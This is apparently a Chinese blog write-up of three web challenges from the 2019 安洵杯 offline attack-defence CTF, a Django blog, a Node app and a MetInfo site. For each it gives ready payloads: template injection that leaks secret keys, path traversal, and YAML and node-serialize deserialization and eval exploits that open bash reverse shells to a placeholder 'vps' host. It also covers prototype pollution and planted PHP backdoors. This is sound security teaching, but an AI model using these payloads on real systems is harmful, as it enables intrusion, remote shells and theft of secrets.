2019 安洵杯线下赛awd-Web题解WriteUp

2019 安洵杯线下赛awd-Web题解WriteUp

前言

上周末去成都参加了安洵杯线下,参加awd机会比较少,经验不够导致很多Web的洞都来不及看。回来以后本地环境搭了一下三道题重新做了一遍,还是学到不少的。最后感谢成都信息工程大学的师傅们用心出的题。

web1-pyblog

复现环境搭建:

安装django,postgresql,markdown

1
2
3
4
pip install django
sudo apt-get install postgresql postgresql-client postgresql-contrib
sudo apt-get install python-psycopg2
pip install markdown

配置postgresql:

1
2
3
4
5
6
7
sudo -u postgres psql
postgres=# ALTER USER postgres WITH PASSWORD 'postgres';
postgres=# \q

sudo passwd -d postgres
sudo -u postgres passwd
sudo psql -d blog -U postgres -f blog.sql

打开靶机

robots.txt

漏洞1

访问/blog/hello/

报错信息中看到了Hello路由的代码:

1
template = 'Hello {user}, This is your input: ' + request.GET['input']

输入input参数后渲染到template中,说明存在ssti

但是由于是django,不能flask那样自主的调用__subclasses__来读文件或执行命令,只能读取一些配置信息,参考:https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

比如读取secret_key

1
?input={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

或者读取后台数据库的登陆密码:

1
?input={user.user_permissions.model._meta.app_config.module.admin.settings.DATABASES}

拿到用户名密码blog/blog123456后,我们可以登陆后台,不过后台没找到什么可以用的信息…

漏洞2

/blog/api/downloadarticle

1
2
3
4
5
6
7
8
9
def DownloadArticle(request):
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
try:
path = os.path.join(BASE_DIR, 'static', "./upload/%s" % request.GET['path'])
with open(path, "rb") as f:
content = f.read()
return HttpResponse(content)
except:
return HttpResponse("Sorry, the file you were looking for was not found.")

存在任意文件读取,payload:

1
/blog/api/downloadarticle/?path=../../../../../../../../../../flag

漏洞3

/blog/api/uploadarticle/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def UploadArticle(request):
if request.method == "GET":
return render(request, 'blog/upload.html', {})
elif request.method == "POST":
try:
obj = request.FILES.get('fafafa')
import os
# 上传文件的文件名
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
f = open(os.path.join(BASE_DIR, 'static', 'upload', obj.name), 'wb')
for chunk in obj.chunks():
f.write(chunk)
f.close()
article = yaml.load(file(os.path.join(BASE_DIR, 'static', 'upload', obj.name)))
print article

存在yaml反序列化article = yaml.load(file(os.path.join(BASE_DIR, 'static', 'upload', obj.name)))

直接将我们上传的文件内容作为参数传入yaml.load()反序列化,参考:Python PyYAML反序列化漏洞

写入一个payload:

1
!!python/object/apply:os.system ['bash -c "bash -i >& /dev/tcp/vps/8888 0>&1"']

因为没有回显,所以还是采用弹shell的形式

payload:

1
2
3
4
5
6
7
8
9
10
11
12
POST /blog/api/uploadarticle/ HTTP/1.1
Host: 192.168.199.170:8000
Content-Length: 288
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4ZRvxu4SdNAQl9TX
Connection: close

------WebKitFormBoundary4ZRvxu4SdNAQl9TX
Content-Disposition: form-data; name="fafafa"; filename="exp.yaml"
Content-Type: application/octet-stream

!!python/object/apply:os.system ['bash -c "bash -i >& /dev/tcp/vps/8888 0>&1"']
------WebKitFormBoundary4ZRvxu4SdNAQl9TX--

web2-node

打开靶机

开始黑盒测试,访问robots.txt,直接得到flag

拿到ssh后,开始白盒审计

漏洞1

/index.js

1
2
3
4
app.get('/robots.txt', function(req, res) { 
var resp=require('fs').readFileSync("/flag").toString();
res.send('Response</br>'+resp);
});

也就是我们黑盒拿到的白给文件读取,没啥好说的

漏洞2

/routes/index.js

1
2
3
4
5
6
7
8
9
10
11
router.get('/response', function(req, res) { 
if(req.query.name){
if((req.query.name).indexOf("exit") > 0){
res.send('error');
var resp=eval(req.query.name);
res.send('Response</br>'+resp);
}
}else{
res.status(200).send('no name man,and fuck hu3sky');
}
});

存在rce:var resp=eval(req.query.name)

要求是参数name必须包含exit

payload:

1
/response?name=global.process.mainModule.require('child_process').execSync('whoami').toString()//exit

但是一开始是没有得到回显,比赛时候也很奇怪,本地明明可以得到回显:

比赛后本地搭了一下环境,payload打进去,出现了报错信息:

原来是一次连接请求,服务器只能向客户端发送一次信息,代码中前面部分已经执行了:res.send('error');

所以后面rce的结果是没办法再返回给我们,但是命令还是执行了,于是考虑弹shell

payload:

1
response?name=require('child_process').exec('bash -c "bash -i >& /dev/tcp/vps/8888 0>&1"')//exit

没有回显,但是vps监听端口8888上已经弹到了shell

漏洞3

/routes/news.js

1
2
3
4
5
6
7
8
9
10
11
router.get('/news', function(req, res) { 
if(req.query.data){
if((req.query.data).indexOf("flag") > 0){
res.send('error');
var resp=req.query.data;
resp = serialize.unserialize(resp);
}
}else{
res.status(200).send('no data man,and fuck hu3sky');
}
});

存在很明显的反序列化:resp = serialize.unserialize(resp);

参数data同样要求包含flag

先本地测试一下反序列化rce:

1
2
3
4
5
6
7
8
9
10
> var serialize = require('node-serialize');
> var y = {rce:function(){console.log(require('child_process').execSync('whoami').toString());}}
> var payload = serialize.serialize(y);
> payload
'{"rce":"_$$ND_FUNC$$_function (){console.log(require(\'child_process\').execSync(\'whoami\').toString());}"}'
> var payload = '{"rce":"_$$ND_FUNC$$_function (){console.log(require(\'child_process\').execSync(\'whoami\').toString());}()"}'
> serialize.unserialize(payload)
somnus

{ rce: undefined }

在序列化的字符串中函数体后面加上括号 () ,之后传入 unserialize() 函数,就能成功执行

但是同样没有回显,所以我们还是用反弹shell的形式,payload:

1
/news?data={"rce":"_$$ND_FUNC$$_function%20(){console.log(require('child_process').execSync('bash%20-c%20\"bash%20-i%20>%26%20/dev/tcp/vps/8888%200>%261\"%20||%20cat%20/flag').toString());}()"}

漏洞4

/routes/managers.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var tmp = [];
var paths = [];

router.get('/manager', function(req, res) {
let url = req.originalUrl.replace('/manager?','');
console.log(req.query)
let reqbody = {switch:false}
reqbody = qs.parse(url,{allowPrototypes: false});

if(reqbody.switch === true && reqbody.opath && reqbody.tmp){
if(fs.existsSync(reqbody.opath)){
let buffer;
tmp[reqbody.tmp]['opath'] = reqbody.opath;
if(/[flag]/.test(tmp[reqbody.tmp]['opath'])){
buffer = tmp[reqbody.tmp]['opath'].replace(/f|l|a|g/g,'');
}else{
buffer = reqbody.opath;
}
}else{
paths.opath = '/home/web/hello.txt';
}
}else{
paths.opath = '/home/web/hello.txt';
}

let opath = paths.opath? paths.opath : buffer;
let resp = fs.readFileSync(opath, 'utf8');
res.send('Response</br>'+resp);


});

发现最后有执行读取文件,并将内容回显到客户端:

1
2
let resp = fs.readFileSync(opath, 'utf8');
res.send('Response</br>'+resp);

追溯一下参数opathpaths.opath? paths.opath : buffer

如果paths.opath 不为空则为paths.opath的值,否则为buffer

而一开头定义的paths为空,而buffer定义在:

1
buffer = tmp[reqbody.tmp]['opath'].replace(/f|l|a|g/g,'');

可以看到最后是会把flag关键字替换为空,我们要想读取flag文件,就必须让paths.opath不为空。这就很容易联想到原型链污染

看看哪里可以触发原型链污染:

1
tmp[reqbody.tmp]['opath'] = reqbody.opath;

这里存在数组的操作,并且reqbody.tmpreqbody.opath我们都可以通过get传入进行控制,如果我们设置:

1
2
3
var reqbody.tmp = "__proto__";
var reqbody.opath = "/flag";
tmp[reqbody.tmp]['opath'] == tmp["__proto__"]['opath'] = "/flag";

就可以成功污染Object原型,使paths.opath = "/flag"

那么最后就只剩下一处过滤:

1
2
3
4
let url = req.originalUrl.replace('/manager?','');
let reqbody = {switch:false}
reqbody = qs.parse(url,{allowPrototypes: false});
reqbody.switch === true

这里利用了qs模块来处理url存为对象,switch默认为false,并且配置allowPrototypes: false。我们直接传递参数switch无法置为true,绕过方法参考:https://snyk.io/vuln/npm:qs:20170213

qs版本小于6.3时,可以通过]=switch绕过

测试如下:

1
2
> qs.parse("]=switch", { allowPrototypes: false })
{ switch: true }

所以最后的payload:

1
/manager?]=switch&opath=/flag&tmp=__proto__

web3-metinfo

打开靶机,是一个米拓7.0.0的网站

登陆后台,尝试弱密码admin/admin,登陆成功,flag就在admin/#/home

拿到ssh后,把源码放进d盾扫一下

有两个直接的后门,还有一个参数拼接执行的eval,下面逐一分析

漏洞1

/config.php

1
2
3
4
5
<?php
if(isset($_GET["oooooooOOOOO000"]))
{
eval($_POST['a']);
}

送分的洞

漏洞2

/app/system/entrance.php

1
2
3
4
5
//just a test
if(isset($_GET['iamD0g3']))
{
system($_GET['isoon-test']);
}

这是一个入口文件,在index.php中我们就可以看到

1
require_once './app/system/entrance.php';

所以,直接通过:

1
/index.php?iamD0g3=1&isoon-test=cat /flag;

即可执行

漏洞3

/app/app/crack/admin/index.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class index extends admin { //继承后台基类。类名称要与文件名一致
public function __construct() {
parent::__construct();//如果重写了初始化方法,一定要调用父类的初始化函数。
}

public function doindex(){//定义自己的方法
global $_M;
$info['1'] = $_M['form']['1'];
$m=$info['1'];
$a=substr($m,0,1);
$b=substr($m,1,9999);
eval($a.$b);
}
}

doindex方法中$_M['form']['1']参数拼接到eval中执行

首先看看参数是如何传递的:

/app/system/include/class/common.class.php

1
2
3
4
5
6
/**
* 获取GET,POST,COOKIE,存放在$_M['form'],系统表单提交变量数组.
*/
foreach ($_GET as $_key => $_value) {
$_key[0] != '_' && $_M['form'][$_key] = daddslashes($_value);
}

所以我们直接通过get传参1即可控制$_M['form']['1']

再看看是怎么进入这个路由,在/admin/index.php可以找到路由参数:

1
2
3
4
5
6
7
8
9
if(@$_GET['m'])$M_MODULE=$_GET['m'];
if(@!$_GET['n'])$_GET['n']="index";
if(@!$_GET['c'])$_GET['c']="index";
if(@!$_GET['a'])$_GET['a']="doindex";
@define('M_NAME', $_GET['n']);
@define('M_MODULE', $M_MODULE);
@define('M_CLASS', $_GET['c']);
@define('M_ACTION', $_GET['a']);
require_once '../app/system/entrance.php';

分别是mnca

然后跟进/app/system/entrance.php

1
2
3
4
5
6
7
8
9
define ('PATH_APP', PATH_WEB."app/");
...
if (!defined('M_TYPE')) {
if(file_exists(PATH_APP.'app/'.M_NAME.'/')&&M_NAME){
define('M_TYPE', 'app');
}else{
define('M_TYPE', 'system');
}
}

如果在/app/app存在M_NAME,即n参数,则定义M_TYPE=app

所以我们只需要让n参数为crack即可

payload:

1
/admin/index.php?n=crack&1=phpinfo();

然后要注意引号会被daddslashes的转义处理,传参可以用chr()进行拼接,读取flag:

1
/admin/index.php?n=crack&1=$a=cat.chr(32).chr(47).flag;system($a);

不过这个洞需要登陆后台才能执行,主办方要求不能改后台密码可能也是因为这个原因

漏洞4

这个洞是全局搜索file_get_contents发现的

/app/system/search/web/search.class.php

1
2
3
4
5
6
7
8
public function dosearch()
{
...
if ($_M['form']['searchword']) {
var_dump(file_get_contents($_M['form']['searchword']));
...
}
}

任意文件读取

payload:

1
/search/index.php?searchword=/flag

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/12/11/2019%E5%AE%89%E6%B4%B5%E6%9D%AF%E7%BA%BF%E4%B8%8B%E8%B5%9Bawd-Web%E9%A2%98%E8%A7%A3/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog